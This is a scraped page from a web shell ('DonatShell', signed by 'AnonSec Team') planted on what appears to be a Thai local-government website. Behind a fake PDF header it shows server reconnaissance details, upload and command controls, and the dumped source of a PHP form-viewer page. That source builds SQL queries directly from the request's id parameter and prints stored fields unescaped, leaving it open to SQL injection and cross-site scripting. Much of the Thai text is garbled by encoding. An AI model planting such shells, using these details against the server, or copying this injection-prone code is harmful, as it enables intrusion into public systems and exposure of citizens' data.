%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/form/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html/form//detail_form_13.php
<?
		session_start();
		if(!isset($_SESSION["user"]) or ($_SESSION["user"]=="")){
		$message = "¡ÃØ³Ò Login ¡è͹.";
			$url = "../admin/index.php";
			include("../admin/alert.php");
			exit;
       }
?> 
<?php require_once('../admin/Connections/conndb.php'); ?>
<?php
$colname_Recordset1 = "-1";
if (isset($_GET['id'])) {
  $colname_Recordset1 = (get_magic_quotes_gpc()) ? $_GET['id'] : addslashes($_GET['id']);
}
mysql_select_db($database_conndb, $conndb);
$query_Recordset1 = sprintf("SELECT * FROM form_13 WHERE id = %s", $colname_Recordset1);
$Recordset1 = mysql_query($query_Recordset1, $conndb) or die(mysql_error());
$row_Recordset1 = mysql_fetch_assoc($Recordset1);
$totalRows_Recordset1 = mysql_num_rows($Recordset1);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>Ẻ¤ÓÃéͧ ŧ·ÐàºÕ¹ÈÙ¹Âìà´ç¡àÅç¡ </title>
<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 5px;
	margin-right: 0px;
	margin-bottom: 5px;
	color:#000000;
}
-->
</style>
<link href="styles_form.css" rel="stylesheet" type="text/css" />
</head>

<body>
<div align="center">

<style>

body{

}

.admin-card{
	max-width:1100px;
	margin:30px auto;
	background:#ffffff;
	border-radius:24px;
	padding:35px;
	box-shadow:0 10px 35px rgba(0,0,0,0.08);
	border:1px solid #e5edf7;
}

.admin-header{
	background:linear-gradient(135deg,#0d6efd,#0056b3);
	border-radius:18px;
	padding:35px;
	text-align:center;
	color:#fff;
	margin-bottom:30px;
}

.admin-header h1{
	margin:0;
	font-size:34px;
	font-weight:bold;
}

.admin-header p{
	margin-top:10px;
	font-size:18px;
	opacity:0.95;
}

.info-section{
	margin-bottom:30px;
}

.section-title{
	font-size:24px;
	font-weight:bold;
	color:#0d6efd;
	border-left:6px solid #0d6efd;
	padding-left:14px;
	margin-bottom:20px;
}

.info-table{
	width:100%;
	border-collapse:collapse;
	border-radius:14px;
	overflow:hidden;
}

.info-table td{
	padding:14px;
	border-bottom:1px solid #edf2f7;
	font-size:16px;
	vertical-align:top;
	line-height:28px;
}

.info-table td:first-child{
	width:280px;
	font-weight:bold;
	color:#333;
	background:#f8fbff;
}

.badge-status{
	background:#fff3cd;
	color:#856404;
	padding:8px 18px;
	border-radius:30px;
	font-size:14px;
	display:inline-block;
	font-weight:bold;
}

.detail-box{
	background:#f8fbff;
	border:1px solid #d9e8ff;
	padding:18px;
	border-radius:14px;
	line-height:28px;
}

.file-link{
	background:#0d6efd;
	color:#fff;
	padding:10px 18px;
	border-radius:10px;
	text-decoration:none;
	display:inline-block;
	font-size:15px;
}

.file-link:hover{
	background:#0b5ed7;
}

.action-box{
	text-align:center;
	margin-top:35px;
}

.btn-print{
	background:#198754;
	color:#fff;
	border:none;
	padding:14px 35px;
	border-radius:12px;
	font-size:18px;
	font-weight:bold;
	cursor:pointer;
	box-shadow:0 4px 15px rgba(25,135,84,0.25);
}

.btn-print:hover{
	background:#157347;
	transform:translateY(-2px);
}

.water-badge{
	background:#e8f4ff;
	color:#0d6efd;
	padding:8px 16px;
	border-radius:30px;
	font-weight:bold;
	display:inline-block;
}

@media print{

.btn-print{
	display:none;
}

body{
	background:#fff;
}

.admin-card{
	box-shadow:none;
	border:none;
}

}

</style>
<?php

/* =========================
   STATUS SYSTEM
========================= */

/*

pending   = ÃÍ´Óà¹Ô¹¡ÒÃ
receive   = ÃѺàÃ×èͧáÅéÇ
process   = ¡ÓÅѧ´Óà¹Ô¹¡ÒÃ
success   = ´Óà¹Ô¹¡ÒÃàÃÕºÃéÍÂ
cancel    = ¡àÅÔ¡¤ÓÃéͧ

*/


$status = $row_Recordset1['status'];

$status_text  = "";
$status_class = "";
$status_icon  = "";

switch($status){

	case "pending":

		$status_text  = "ÃÍ´Óà¹Ô¹¡ÒÃ";
		$status_class = "status-pending";
		$status_icon  = "??";

	break;


	case "receive":

		$status_text  = "ÃѺàÃ×èͧáÅéÇ";
		$status_class = "status-receive";
		$status_icon  = "??";

	break;


	case "process":

		$status_text  = "¡ÓÅѧ´Óà¹Ô¹¡ÒÃ";
		$status_class = "status-process";
		$status_icon  = "??";

	break;


	case "success":

		$status_text  = "´Óà¹Ô¹¡ÒÃàÃÕºÃéÍÂ";
		$status_class = "status-success";
		$status_icon  = "?";

	break;


	case "cancel":

		$status_text  = "¡àÅÔ¡¤ÓÃéͧ";
		$status_class = "status-cancel";
		$status_icon  = "?";

	break;


	default:

		$status_text  = "Ã͵ÃǨÊͺ";
		$status_class = "status-pending";
		$status_icon  = "??";

	break;

}

?>



<?php

require_once("../admin/Connections/conndb.php");

$id = $_GET['id'];

mysql_select_db($database_conndb,$conndb);

$query = "SELECT * FROM form_13 WHERE id='$id'";

$Recordset1 = mysql_query($query,$conndb)
or die(mysql_error());

$row_Recordset1 = mysql_fetch_assoc($Recordset1);

?>



<div class="admin-card">



<div class="admin-header">

<h1>
¤ÓÃéͧ¢Í¤ÇÒÁ͹Øà¤ÃÒÐËì¹éÓà¾×èÍÍØ»âÀ¤ºÃÔâÀ¤
</h1>

<p>
(END-TO-END Digital)
</p>

</div>





<!-- =========================
     SECTION 1
========================= -->

<div class="info-section">

<div class="section-title">

¢éÍÁÙżÙéÂ×蹤ÓÃéͧ

</div>

<table width="100%" class="info-table">

<tr>
<td>ª×èÍ - ¹ÒÁÊ¡ØÅ</td>
<td>

<?php echo $row_Recordset1['c_prefix']; ?>

<?php echo $row_Recordset1['c_name']; ?>

</td>
</tr>


<tr>
<td>µÓá˹è§</td>
<td>

<?php echo $row_Recordset1['c_position']; ?>

</td>
</tr>


<tr>
<td>ËÁÒÂàÅ¢â·ÃÈѾ·ì</td>
<td>

<?php echo $row_Recordset1['c_objective3']; ?>

</td>
</tr>


<tr>
<td>ʶҹ·Õèà¢Õ¹¤ÓÃéͧ</td>
<td>

<?php echo $row_Recordset1['c_write_place']; ?>

</td>
</tr>


<tr>
<td>·ÕèÍÂÙè</td>
<td>

ºéÒ¹àÅ¢·Õè
<?php echo $row_Recordset1['c_home']; ?>

ËÁÙè·Õè
<?php echo $row_Recordset1['c_moo']; ?>

<br><br>

µÓºÅ
<?php echo $row_Recordset1['c_tumbon']; ?>

ÍÓàÀÍ
<?php echo $row_Recordset1['c_amphur']; ?>

¨Ñ§ËÇÑ´
<?php echo $row_Recordset1['c_province']; ?>

</td>
</tr>


<tr>
<td>Çѹ·ÕèºÑ¹·Ö¡¤ÓÃéͧ</td>
<td>

<?php echo $row_Recordset1['fm_created']; ?>

</td>
</tr>


<tr>
<td>ʶҹФÓÃéͧ</td>
<td>

<span class="badge-status">

ÃÍ´Óà¹Ô¹¡ÒÃ

</span>

</td>
</tr>

</table>

</div>





<!-- =========================
     SECTION 2
========================= -->

<div class="info-section">

<div class="section-title">

ÃÒÂÅÐàÍÕ´¤ÓÃéͧ

</div>

<table width="100%" class="info-table">


<tr>
<td>
àÃ×èͧ
</td>

<td>

<div class="water-badge">

<?php echo $row_Recordset1['c_place1']; ?>

</div>

</td>
</tr>



<tr>
<td>
à¹×èͧ¨Ò¡
</td>

<td>

<div class="detail-box">

<?php echo nl2br($row_Recordset1['c_objective1']); ?>

</div>

</td>
</tr>



<tr>
<td>
ʶҹ·Õè¢ÍʹѺʹع
</td>

<td>

<div class="detail-box">

<?php echo nl2br($row_Recordset1['c_place2']); ?>

</div>

</td>
</tr>



<tr>
<td>
ÃÐÂÐàÇÅÒ´Óà¹Ô¹¡ÒÃ
</td>

<td>

àÃÔèÁµÑé§áµèÇѹ·Õè

<b>
<?php echo $row_Recordset1['c_date_start']; ?>
</b>

<br><br>

¶Ö§Çѹ·Õè

<b>
<?php echo $row_Recordset1['c_date_end']; ?>
</b>

</td>
</tr>



<tr>
<td>
¨Ó¹Ç¹Ã¶ºÃ÷ء¹éÓ
</td>

<td>

<?php echo $row_Recordset1['c_objective2']; ?>

¤Ñ¹

</td>
</tr>



<tr>
<td>
»ÃÔÁÒ³¤ÇÒÁ¨Ø
</td>

<td>

<?php echo $row_Recordset1['c_place3']; ?>

ÅÔµÃ

</td>
</tr>

</table>

</div>





<!-- =========================
     FILE ATTACH
========================= -->

<div class="info-section">

<div class="section-title">

àÍ¡ÊÒÃṺ

</div>

<table class="info-table">

<tr>

<td>
ä¿ÅìṺ
</td>

<td>

<?php if($row_Recordset1['fm_file1'] != ""){ ?>

<a href="/form/attachfiles/<?php echo $row_Recordset1['fm_file1']; ?>"
target="_blank"
class="file-link">

?? à»Ô´ä¿ÅìṺ

</a>

<?php }else{ ?>

äÁèÁÕä¿ÅìṺ

<?php } ?>

</td>

</tr>

</table>

</div>





<!-- =========================
     BUTTON
========================= -->

<div class="action-box">

<button
class="btn-print"
onclick="window.print();">

?? ¾ÔÁ¾ìàÍ¡ÊÒÃ

</button>

</div>



</div>

</div>

</body>
</html>
<?php
mysql_free_result($Recordset1);
  if($conndb)
	 {
	  mysql_close($conndb);
	  unset($conndb);
	 }
?>

Anon7 - 2022
AnonSec Team